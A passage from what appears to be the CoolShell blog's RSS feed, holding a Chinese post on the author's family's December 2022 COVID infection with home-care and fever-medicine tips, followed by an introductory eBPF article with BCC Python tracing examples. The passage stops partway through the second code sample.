src=\"https://coolshell.cn/wp-content/uploads/2022/12/covid19-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/12/covid19-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2022/12/covid19-768x576.jpg 768w, https://coolshell.cn/wp-content/uploads/2022/12/covid19-360x270.jpg 360w, https://coolshell.cn/wp-content/uploads/2022/12/covid19.jpg 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" />写一篇与技术无关的文章，供大家参考。我住北京朝阳，从上周三开始我家一家三口陆续发烧生病，自测抗原后，都是阳性。好消息是，这个奥密克戎跟一般的病毒性感冒差不多，没什么可怕的，不过，整个过程除了发病之外还有一些别的因为感染带出来的事，大家也需要知晓，以准备好，以免造成生活的不便，更好的照顾好自己和家人。</p>\n<h4>整个过程</h4>\n<p>我先说一下整个过程（我会不断更新这个过程，直到转阴）。说明一下，<strong>我孩子老婆都打过三针国产疫苗，孩子是科兴，老婆是北京生物，我完全没有打</strong>。</p>\n<p>先是我家孩子（12 岁）。上周三（12 月 7 日），孩子早上起来就说头疼，一测体温，38 度 5，就停止上网课，老实休息了，我们并没给孩子吃什么药，到了晚上，孩子的体温到了 39.4，嗓子疼，我老婆用酒精给孩子物理降温（注：事实上最好别用酒精，因为会被皮肤吸收导致副作用），成功降到了 38.2 左右。周四（12 月 8 日），孩子的体温在 38.2 一天，我老婆给孩子吃了莲花清瘟，被我制止了，本来想上退烧药的，但是我想体温也不算高，能不吃就不吃，于是就让孩子冲了个复方感冒冲剂（其实里面含对乙酰氨基酚，后面会说）。周五（12 月 9 日），孩子不停地出汗，到下午体温正常了，然后咳嗽，鼻涕就来了，感冒症状来了，但精神不好，体虚无力。周末休息两天就基本没事了，也转阴了。</p>\n<p>接下来就到我了。</p>\n<p><span id=\"more-22341\"></span></p>\n<p>周五那天感觉嗓子有点异样，我没怎么在意，周六（12 月 10）就开始发烧了，傍晚 18 点左右，我是手脚冰冷，还有点打冷颤，头晕，嗓子干燥，我就钻被子里了，在半睡不睡的状态下到了 20 点左右，我浑身发烫，我老婆过来给我一量体温，39.8，说要不要也抹点酒精？我想，北京这个季节，物理降温不就上阳台上站一会就好了吗？当然，我就是把窗开了个口，把室温降到 20 度左右，然后，短袖短裤呆了一会就感到清醒了一些。这个时候，我觉得再来碗热汤就好了，我喝不习惯生姜红糖水，又腥又甜，我就自己整了一小锅西红柿蛋花汤，为了让我更能出汗，并适合我的重口味，我又加了点辣椒，一小锅热汤下肚，汗出的不亦乐乎，体温降低到38.4度，我觉的不用再吃药了，当然，嗓子也疼了。但是我舒服了很多，最后还看了下摩洛哥是怎么把C罗送回家的比赛。</p>\n<p>周日（12 月 11）是我最难受的一天，全天体温在 38.2左右，从早上就没有精神，吃完早点后，从 10 点一直睡到下午 15 点（因为嗓子疼，所以睡的也不安宁，各种难受）， 这天我一会儿就出次汗，但是体温降不下来，始终在 38.2，然后我在犹豫是不是吃布洛芬，但是我感觉体温也不是很高，布洛芬这种药能不吃不不吃。然后，睡前喝了一袋感冒冲剂。周日这天，我婆也发烧，38.5，她全身疼痛，包括嗓子。这一天，我们在家啥也干不了，全家都在床上躲着，只有孩子还能动，所以，有些事只能让孩子去干了，我们也只点外卖了。</p>\n<p>周一（12 月 12 日）我早上起来，38.5，开完周会后，看很多人说泰诺有用，然后翻了一下家，居然没找到，算，还是冲两包感冒冲剂得了（后来才知道，中成药里也都是掺了对乙酰氨基酚，看来中医对自己都没什么信心），于是整个下午就在出汗了，我一整天都没有什么食欲，到了下午 17 点左右，体温正常了 36.7，但是晚上又到了 37 度，开始咳痰，轻微流鼻涕，不过感觉没什么事了。而我老婆的烧居然退了，她说她应该好了。</p>\n<figure id=\"attachment_22343\" aria-describedby=\"caption-attachment-22343\" style=\"width: 400px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/IMG_2399.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22343\" src=\"https://coolshell.cn/wp-content/uploads/2022/12/IMG_2399-871x1024.jpg\" alt=\"\" width=\"400\" height=\"471\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/12/IMG_2399-871x1024.jpg 871w, https://coolshell.cn/wp-content/uploads/2022/12/IMG_2399-255x300.jpg 255w, https://coolshell.cn/wp-content/uploads/2022/12/IMG_2399-768x903.jpg 768w, https://coolshell.cn/wp-content/uploads/2022/12/IMG_2399-230x270.jpg 230w, https://coolshell.cn/wp-content/uploads/2022/12/IMG_2399.jpg 1123w\" sizes=\"(max-width: 400px) 100vw, 400px\" /></a><figcaption id=\"caption-attachment-22343\" class=\"wp-caption-text\">这就是我吃的感冒冲剂。注：为什么 还要整点咖啡因，说明书上说，怕对乙酰氨基酚造成嗜睡，所以用咖啡因来消解，这复方逻辑，毫无破绽啊</figcaption></figure>\n<p>周二（12 月 13 日）我早上起床后， 体温还是在 37.2 度，我的嗓子干燥微疼，头也不疼就是头晕，所以，今天睡了两次，一次是中午12 点半到下午 14点半，一次是 16：40 到 19:10，两次都出汗了，而且第二觉睡地太爽了，感觉是这两天睡过最高质量高的觉，而且嗓子不干了也好了，体温正常了 36.8，但是感冒症状出来了，接下来几天休息一下应该就好了。我孩子应该感冒也没有精神，所以一天来也是醒醒睡睡。而我老婆又开始发烧了，还带这样的，跳跃性发烧…… 更不好的是她嗓子已经疼到说不出话，也咽不下东西了，今天她也是床上躺了一天……</p>\n<p>周三（12月14日）我今天已经不发烧了，就是频率不高的咳嗽，轻微鼻塞，不过，还是要休息，喝水。我老婆体温还是低烧中，嗓子疼痛好了些，感觉正在恢复中……</p>\n<p><strong>整个过程，对我和我孩子来说，不难受，感觉就是发3天烧睡3天，再休息 3 天的样子，嗓子干燥微疼，比以前的病毒性感冒好多了，以前的病毒性感冒导致的嗓子疼我是连咽口水都咽不下去。但是对于我老婆就不一样了，她先是浑身疼痛，嗓子干燥，到现在嗓子疼如刀割，说不出话。这个事可能也因人而异。</strong></p>\n<p>继续更新，自我阳性以来半个月了，从 12 月 14 日退烧后，我就一直处在感冒和低频咳嗽中，直到12 月 27 日才发现不咳嗽也不感冒了，但是说话还是有一点鼻音，估计还要 5-7 天就可以完全恢复了。</p>\n<h4>注意事项</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22344 alignright\" src=\"https://coolshell.cn/wp-content/uploads/2022/12/IMG_2402.jpg\" alt=\"\" width=\"293\" height=\"390\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/12/IMG_2402.jpg 500w, https://coolshell.cn/wp-content/uploads/2022/12/IMG_2402-225x300.jpg 225w, https://coolshell.cn/wp-content/uploads/2022/12/IMG_2402-203x270.jpg 203w\" sizes=\"(max-width: 293px) 100vw, 293px\" /></p>\n<p>能物理降温就不要吃药来降（<strong>应该避免使用酒精擦拭，因为有副作用，用水或冰就可以了</strong>），降到 38.5 以下，就可以自己抗了。如果物理降温不奏效，就要吃布洛芬和泰诺(林)，这两种药非常有帮助，但是你应该在药店里买不到了，所以，你可以买中成药或复方药，反正里面的中药没有用，而几乎所有的中成药里都被加入了“对乙酰氨基酚”，算是“间接”或“复方”泰诺(林)了。但是，不要多服，不然，药量叠加，会导致你肝肾中毒。参看《<a href=\"https://www.163.com/dy/article/HOA1A9UQ055342ZM.html\" target=\"_blank\" rel=\"noopener\">这些所谓“中成药”，关键原料是对乙酰氨基酚，服用小心叠加过量</a>》</p>\n<p>下面文字节选自“默沙东诊疗手册”</p>\n<blockquote>\n<div class=\"para\">\n<p>最有效和最广泛使用的退热药为对乙酰氨基酚和非甾体抗炎药 (NSAID)，如阿司匹林、布洛芬和萘普生。</p>\n</div>\n<div class=\"para\">\n<p>通常，人们可能采取以下方式之一：</p>\n</div>\n<div class=\"list\">\n<ul class=\"bulleted\" data-mmanualobjecttype=\"List\">\n<li class=\"topic__listitem\"><span id=\"v27742687_zh\" class=\"anchor\"></span>\n<div class=\"para\">\n<p>每6小时650毫克对乙酰氨基酚（1天内不超过4000毫克）</p>\n</div>\n</li>\n<li class=\"topic__listitem\"><span id=\"v27742689_zh\" class=\"anchor\"></span>\n<div class=\"para\">\n<p>每6小时200到400毫克布洛芬</p>\n</div>\n</li>\n</ul>\n</div>\n<div class=\"para\">\n<p>因为许多非处方感冒药或流感制剂含有对乙酰氨基酚，人们一定要注意不要在同一时间服用对乙酰氨基酚和一种或多种这些制剂。</p>\n</div>\n<div class=\"para\">\n<p>只有当温度达到106°F (41.1°C)左右或更高时，才需要采取其它降温措施（如用温水喷雾和降温毯降温）。避免使用酒精擦拭，因为酒精可被皮肤吸收，可能产生有害效果。</p>\n</div>\n<div class=\"para\">\n<p>有血液感染或生命体征异常（例如，血压低、脉搏和呼吸速度加快）的人需入院。</p>\n</div>\n</blockquote>\n<p>另外，一定要多喝水，热水最好。多喝水的原因是：1）布洛芬、对乙酰氨基酚（扑热息痛）等退烧药会让人加速出汗，会导致脱水。2）布洛芬等退烧药主要在肝脏代谢，60%~90%经肾脏随尿排出。多喝水，可加速药物排出体外，减少退烧药对肝肾的损伤。3）排汗和排尿都会帮身体带走一些热量。</p>\n<p>具体喝多少水因人而异，一般在2.5升到4升间，主要看你上厕所的频率。我因为前三天都在出汗，所以怎么喝水都不怎么上厕所，这两天我大概一天喝4升左右。总之，发烧吃退烧药更要多喝水。</p>\n<p>另外，如果全家都病倒了，那生活就有点不方便了，所以，你得做好一些准备：</p>\n<p>1）事先订好桶装水，18L 的那种，让人可以给家里送水，发烧期间用水很快的。</p>\n<p>2）生活上的事要做好全家病倒的准备，做饭只能整方便的做的或是速食的了，家里存点牛奶，面包，麦片，火腿肠，水果什么的，保证营养。再不行就点外卖，我家已经点了三天的外卖。还让孩子当个配送员跑腿到菜市场和超市开着视频买东西……</p>\n<p>3）还是要提前备药，我是准备用药的时候，发现家里只找到了布洛芬和感冒冲剂，因为我有高血脂，我还要吃瑞舒伐他汀钙片，结果发现我周边 5 公里的药店基本全都休业了，估计店员都阳了。</p>\n<p>4）有老人的，要照顾好。有呼吸困难的，一定要送急诊。</p>\n<p>根据知乎上的这个<a href=\"https://zhuanlan.zhihu.com/p/590989182\" target=\"_blank\" rel=\"noopener\">通过搜索引擎的测算</a>，第一波的结束大约会在明年春节前结束。最后祝大家好运。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6335.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片1-150x150.png\" alt=\"Resin服务器getResource揭秘\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6335.html\" class=\"wp_rp_title\">Resin服务器getResource揭秘</a></li><li ><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" alt=\"加班与效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_title\">加班与效率</a></li><li ><a href=\"https://coolshell.cn/articles/5035.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"面向对象的Shell脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5035.html\" class=\"wp_rp_title\">面向对象的Shell脚本</a></li><li ><a href=\"https://coolshell.cn/articles/1192.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"一些单元测试的Guideline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1192.html\" class=\"wp_rp_title\">一些单元测试的Guideline</a></li><li ><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" alt=\"Docker基础技术：AUFS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_title\">Docker基础技术：AUFS</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22341.html\">感染新冠的经历</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22341.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>23</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>eBPF 介绍</title>\n\t\t<link>https://coolshell.cn/articles/22320.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22320.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 10 Dec 2022 02:38:51 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[Debug]]></category>\n\t\t<category><![CDATA[eBPF]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22320</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>很早前就想写一篇关于eBPF的文章，但是迟迟没有动手，这两天有点时间，所以就来写一篇，这文章主要还是简单的介绍eBPF 是用来干什么的，并通过几个示例来介绍是怎...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22320.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-22329 size-full\" src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF.jpeg\" alt=\"\" width=\"301\" height=\"167\" />很早前就想写一篇关于eBPF的文章，但是迟迟没有动手，这两天有点时间，所以就来写一篇，这文章主要还是简单的介绍eBPF 是用来干什么的，并通过几个示例来介绍是怎么玩的，这个技术非常非常之强，Linux 操作系统的观测性实在是太强大了，并在 BCC 加持下变得一览无余。这个技术不是一般的运维人员或是系统管理员可以驾驭的，这个还是要有底层系统知识并有一定开发能力的技术人员才能驾驭的了的。<strong>我在这篇文章的最后给了个彩蛋。</strong></p>\n<h4>介绍</h4>\n<p>eBPF（extened Berkeley Packet Filter）是一种内核技术，它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter（BPF），后者是由贝尔实验室开发的一种网络过滤器，可以捕获和过滤网络数据包。</p>\n<p>出于对更好的 Linux 跟踪工具的需求，eBPF 从 <a href=\"https://illumos.org/books/dtrace/chp-intro.html\">dtrace</a>中汲取灵感，dtrace 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同，Linux 无法全面了解正在运行的系统，因为它仅限于系统调用、库调用和函数的特定框架。<a href=\"https://www.kernel.org/doc/html/latest/bpf/index.html\">在Berkeley Packet Filter</a>  (BPF)（一种使用内核 VM 编写打包过滤代码的工具）的基础上，一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。<strong>2014 年随 Linux 3.18 首次限量发布，充分利用 eBPF 至少需要 Linux 4.4 以上版本</strong>。</p>\n<p><span id=\"more-22320\"></span></p>\n<p>eBPF 比起传统的 BPF 来说，传统的 BPF 只能用于网络过滤，而 eBPF 则可以用于更多的应用场景，包括网络监控、安全过滤和性能分析等。另外，eBPF 允许常规用户空间应用程序将要在 Linux 内核中执行的逻辑打包为字节码，当某些事件（称为挂钩）发生时，内核会调用 eBPF 程序。此类挂钩的示例包括系统调用、网络事件等。用于编写和调试 eBPF 程序的最流行的工具链称为 <a href=\"https://github.com/iovisor/bcc\">BPF 编译器集合</a> (BCC)，它基于 LLVM 和 CLang。</p>\n<p>eBPF 有一些类似的工具。例如，SystemTap 是一种开源工具，可以帮助用户收集 Linux 内核的运行时数据。它通过动态加载内核模块来实现这一功能，类似于 eBPF。另外，DTrace 是一种动态跟踪和分析工具，可以用于收集系统的运行时数据，类似于 eBPF 和 SystemTap。<code>[1]</code></p>\n<p>以下是一个简单的比较表格，可以帮助您更好地了解 eBPF、SystemTap 和 DTrace 这三种工具的不同之处：<code>[1]</code></p>\n<table>\n<thead>\n<tr>\n<th>工具</th>\n<th>eBPF</th>\n<th>SystemTap</th>\n<th>DTrace</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>定位</td>\n<td>内核技术，可用于多种应用场景</td>\n<td>内核模块</td>\n<td>动态跟踪和分析工具</td>\n</tr>\n<tr>\n<td>工作原理</td>\n<td>动态加载和执行无损编译过的代码</td>\n<td>动态加载内核模块</td>\n<td>动态插接分析器，通过 probe 获取数据并进行分析</td>\n</tr>\n<tr>\n<td>常见用途</td>\n<td>网络监控、安全过滤、性能分析等</td>\n<td>系统性能分析、故障诊断等</td>\n<td>系统性能分析、故障诊断等</td>\n</tr>\n<tr>\n<td>优点</td>\n<td>灵活、安全、可用于多种应用场景</td>\n<td>功能强大、可视化界面</td>\n<td>功能强大、高性能、支持多种编程语言</td>\n</tr>\n<tr>\n<td>缺点</td>\n<td>学习曲线高，安全性依赖于编译器的正确性</td>\n<td>学习曲线高，安全性依赖于内核模块的正确性</td>\n<td>配置复杂，对系统性能影响较大</td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">对比表格<code>[1]</code></p>\n<p>从上表可以看出，eBPF、SystemTap 和 DTrace 都是非常强大的工具，可以用于收集和分析系统的运行情况。<code>[1]</code></p>\n<h4>用途</h4>\n<p>eBPF 是一种非常灵活和强大的内核技术，可以用于多种应用场景。下面是 eBPF 的一些常见用途：<code>[1]</code></p>\n<ul>\n<li>网络监控：eBPF 可以用于捕获网络数据包，并执行特定的逻辑来分析网络流量。例如，可以使用 eBPF 程序来监控网络流量，并在发现异常流量时进行警报。<code>[1]</code></li>\n<li>安全过滤：eBPF 可以用于对网络数据包进行安全过滤。例如，可以使用 eBPF 程序来阻止恶意流量的传播，或者在发现恶意流量时对其进行拦截。<code>[1]</code></li>\n<li>性能分析：eBPF 可以用于对内核的性能进行分析。例如，可以使用 eBPF 程序来收集内核的性能指标，并通过特定的接口将其可视化。这样，可以更好地了解内核的性能瓶颈，并进行优化。<code>[1]</code></li>\n<li>虚拟化：eBPF 可以用于虚拟化技术。例如，可以使用 eBPF 程序来收集虚拟机的性能指标，并进行负载均衡。这样，可以更好地利用虚拟化环境的资源，提高系统的性能和稳定性。<code>[1]</code></li>\n</ul>\n<p>总之，eBPF 的常见用途非常广泛，可以用于网络监控、安全过滤、性能分析和虚拟化等多种应用场景。<code>[1]</code></p>\n<h4>工作原理</h4>\n<p>eBPF 的工作原理主要分为三个步骤：加载、编译和执行。</p>\n<p>eBPF 需要在内核中运行。这通常是由用户态的应用程序完成的，它会通过系统调用来加载 eBPF 程序。在加载过程中，内核会将 eBPF 程序的代码复制到内核空间。</p>\n<p>eBPF 程序需要经过编译和执行。这通常是由Clang/LLVM的编译器完成，然后形成字节码后，将用户态的字节码装载进内核，Verifier会对要注入内核的程序进行一些内核安全机制的检查,这是为了确保 eBPF 程序不会破坏内核的稳定性和安全性。在检查过程中，内核会对 eBPF 程序的代码进行分析，以确保它不会进行恶意操作，如系统调用、内存访问等。如果 eBPF 程序通过了内核安全机制的检查，它就可以在内核中正常运行了，其会通过通过一个JIT编译步骤将程序的通用字节码转换为机器特定指令集，以优化程序的执行速度。</p>\n<p>下图是其架构图。</p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https://imgopt.infoq.com/fit-in/1200x2400/filters:quality(80)/filters:no_upscale()/articles/gentle-linux-ebpf-introduction/en/resources/47image005-1619704397592.jpg\" /></p>\n<p style=\"text-align: center;\">（图片来自：<a href=\"https://www.infoq.com/articles/gentle-linux-ebpf-introduction/\" target=\"_blank\" rel=\"noopener\">https://www.infoq.com/articles/gentle-linux-ebpf-introduction/</a>）</p>\n<p>在内核中运行时，eBPF 程序通常会挂载到一个内核钩子（hook）上，以便在特定的事件发生时被执行。例如，</p>\n<ul>\n<li><span>系统调用——当用户空间函数将执行转移到内核时插入</span></li>\n<li><span>函数进入和退出——拦截对预先存在的函数的调用</span></li>\n<li><span>网络事件 &#8211; 在收到数据包时执行</span></li>\n<li><span>Kprobes 和 uprobes &#8211; 附加到内核或用户函数的探测器</span></li>\n</ul>\n<p>最后 eBPF Maps，允许eBPF程序在调用之间保持状态，以便进行相关的数据统计，并与用户空间的应用程序共享数据。一个eBPF映射基本上是一个键值存储，其中的值通常被视为任意数据的二进制块。它们是通过带有BPF_MAP_CREATE参数的<code>bpf_cmd</code>系统调用来创建的，和Linux世界中的其他东西一样，它们是通过文件描述符来寻址。与地图的交互是通过查找/更新/删除系统调用进行的</p>\n<p>总之，eBPF 的工作原理是通过动态加载、执行和检查<strong>无损编译</strong>过的代码来实现的。<code>[1]</code></p>\n<h4>示例</h4>\n<p>eBPF 可以用于对内核的性能进行分析。下面是一个基于 eBPF 的性能分析的 step-by-step 示例：</p>\n<p>第一步：准备工作：首先，需要确保内核已经支持 eBPF 功能。这通常需要在内核配置文件中启用 eBPF 相关的选项，并重新编译内核。检查是否支持 eBPF，你可以用这两个命令查看 <code>ls /sys/fs/bpf</code> 和 <code>lsmod | grep bpf</code></p>\n<p>第二步：写 eBPF 程序：接下来，需要编写 eBPF 程序，用于收集内核的性能指标。eBPF 程序的语言可以选择 C 或者 Python，它需要通过特定的接口访问内核的数据结构，并将收集到的数据保存到指定的位置。</p>\n<p>下面是一个Python 示例（其实还是C语言，用python来加载一段C程序到Linux内核）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">#!/usr/bin/python3\n\nfrom bcc import BPF\nfrom time import sleep\n\n# 定义 eBPF 程序\nbpf_text = \"\"\"\n#include &lt;uapi/linux/ptrace.h&gt;\n\nBPF_HASH(stats, u32);\n\nint count(struct pt_regs *ctx) {\n    u32 key = 0;\n    u64 *val, zero=0;\n    val = stats.lookup_or_init(&amp;key, &amp;zero);\n    (*val)++;\n    return 0;\n}\n\"\"\"\n\n# 编译 eBPF 程序\nb = BPF(text=bpf_text, cflags=[\"-Wno-macro-redefined\"])\n\n# 加载 eBPF 程序\nb.attach_kprobe(event=\"tcp_sendmsg\", fn_name=\"count\")\n\nname = {\n  0: \"tcp_sendmsg\"\n}\n# 输出统计结果\nwhile True:\n    try:\n        #print(\"Total packets: %d\" % b[\"stats\"][0].value)\n        for k, v in b[\"stats\"].items():\n           print(\"{}: {}\".format(name[k.value], v.value))\n        sleep(1)\n    except KeyboardInterrupt:\n        exit()</pre>\n<p>这个 eBPF 程序的功能是统计网络中传输的数据包数量。它通过定义一个 <code>BPF_HASH</code> 数据结构来保存统计结果（eBPF Maps），并通过捕获 <code>tcp_sendmsg</code> 事件来实现实时统计。最后，它通过每秒输出一次统计结果来展示数据。这个 eBPF 程序只是一个简单的示例，实际应用中可能需要进行更复杂的统计和分析。</p>\n<p>第三步：运行 eBPF 程序：接下来，需要使用 eBPF 编译器将 eBPF 程序编译成内核可执行的格式（这个在上面的Python程序里你可以看到——Python引入了一个bcc的包，然后用这个包，把那段 C语言的程序编译成字节码加载在内核中并把某个函数 attach 到某个事件上）。这个过程可以使用 BPF Compiler Collection（BCC）工具来完成。BCC 工具可以通过命令行的方式将 eBPF 程序编译成内核可执行的格式，并将其加载到内核中。</p>\n<p>下面是运行上面的 Python3 程序的步骤：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">sudo apt install python3-bpfcc</pre>\n<p>注：在Python3下请不要使用 <code>pip3 install bcc</code> （参看：<a href=\"https://github.com/iovisor/bcc/issues/2278#issuecomment-825356087\" target=\"_blank\" rel=\"noopener\">这里</a>）</p>\n<p>如果你是 Ubuntu 20.10 以上的版本，最好通过源码安装（否则程序会有编译问题），参看：<a href=\"https://github.com/iovisor/bcc/issues/3993#issuecomment-1228217609\" target=\"_blank\" rel=\"noopener\">这里</a>：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"bash\">apt purge bpfcc-tools libbpfcc python3-bpfcc\nwget https://github.com/iovisor/bcc/releases/download/v0.25.0/bcc-src-with-submodule.tar.gz\ntar xf bcc-src-with-submodule.tar.gz\ncd bcc/\napt install -y python-is-python3\napt install -y bison build-essential cmake flex git libedit-dev   libllvm11 llvm-11-dev libclang-11-dev zlib1g-dev libelf-dev libfl-dev python3-distutils\napt install -y checkinstall\nmkdir build\ncd build/\ncmake -DCMAKE_INSTALL_PREFIX=/usr -DPYTHON_CMD=python3 ..\nmake\ncheckinstall</pre>\n<p>接下来，需要将上面的 Python 程序保存到本地，例如保存到文件 netstat.py。运行程序：最后，可以通过执行以下命令来运行 Python 程序：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">$ chmod +x ./netstat.py\n$ sudo ./netstat.py\ntcp_sendmsg: 29\ntcp_sendmsg: 216\ntcp_sendmsg: 277\ntcp_sendmsg: 379\ntcp_sendmsg: 419\ntcp_sendmsg: 468\ntcp_sendmsg: 574\ntcp_sendmsg: 645\ntcp_sendmsg: 29\n</pre>\n<p>程序开始运行后，会在控制台输出网络数据包的统计信息。可以通过按 Ctrl+C 组合键来结束程序的运行。</p>\n<p>下面我们再看一个比较复杂的示例，这个示例会计算TCP的发包时间（示例参考于Github上 <a href=\"https://github.com/iovisor/bcc/issues/2972\" target=\"_blank\" rel=\"noopener\">这个issue</a>里的程序）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">#!/usr/bin/python3\n\nfrom bcc import BPF\nimport time\n\n# 定义 eBPF 程序\nbpf_text = \"\"\"\n#include &lt;uapi/linux/ptrace.h&gt;\n#include &lt;net/sock.h&gt;\n#include &lt;net/inet_sock.h&gt;\n#include &lt;bcc/proto.h&gt;\n\nstruct packet_t {\n    u64 ts, size;\n    u32 pid;\n    u32 saddr, daddr;\n    u16 sport, dport;\n};\n\nBPF_HASH(packets, u64, struct packet_t);\n\nint on_send(struct pt_regs *ctx, struct sock *sk, struct msghdr *msg, size_t size)\n{\n    u64 id = bpf_get_current_pid_tgid();\n    u32 pid = id;\n\n    // 记录数据包的时间戳和信息\n    struct packet_t pkt = {}; // 结构体一定要初始化，可以使用下面的方法\n                              //__builtin_memset(&amp;pkt, 0, sizeof(pkt)); \n    pkt.ts = bpf_ktime_get_ns();\n    pkt.size = size;\n    pkt.pid = pid;\n    pkt.saddr = sk-&gt;__sk_common.skc_rcv_saddr;\n    pkt.daddr = sk-&gt;__sk_common.skc_daddr;\n    struct inet_sock *sockp = (struct inet_sock *)sk;\n    pkt.sport = sockp-&gt;inet_sport;\n    pkt.dport = sk-&gt;__sk_common.skc_dport;\n\n    packets.update(&amp;id, &amp;pkt);\n    return 0;\n}\n\nint on_recv(struct pt_regs *ctx, struct sock *sk)\n{\n    u64 id = bpf_get_current_pid_tgid();\n    u32 pid = id;\n\n    // 获取数据包的时间戳和编号\n    struct packet_t *pkt = packets.lookup(&amp;id);\n    if (!pkt) {\n        return 0;\n    }\n\n    // 计算传输时间\n    u64 delta = bpf_ktime_get_ns() - pkt-&gt;ts;\n\n    // 统计结果\n    bpf_trace_printk(\"tcp_time: %llu.%llums, size: %llu\\\\n\", \n       delta/1000, delta%1000%100, pkt-&gt;size);\n\n    // 删除统计结果\n    packets.delete(&amp;id);\n\n    return 0;\n}\n\"\"\"\n\n# 编译 eBPF 程序\nb = BPF(text=bpf_text, cflags=[\"-Wno-macro-redefined\"])\n\n# 注册 eBPF 程序\nb.attach_kprobe(event=\"tcp_sendmsg\", fn_name=\"on_send\")\nb.attach_kprobe(event=\"tcp_v4_do_rcv\", fn_name=\"on_recv\")\n\n# 输出统计信息\nprint(\"Tracing TCP latency... Hit Ctrl-C to end.\")\nwhile True:\n    try:\n        (task, pid, cpu, flags, ts, msg) = b.trace_fields()\n        print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg))\n    except 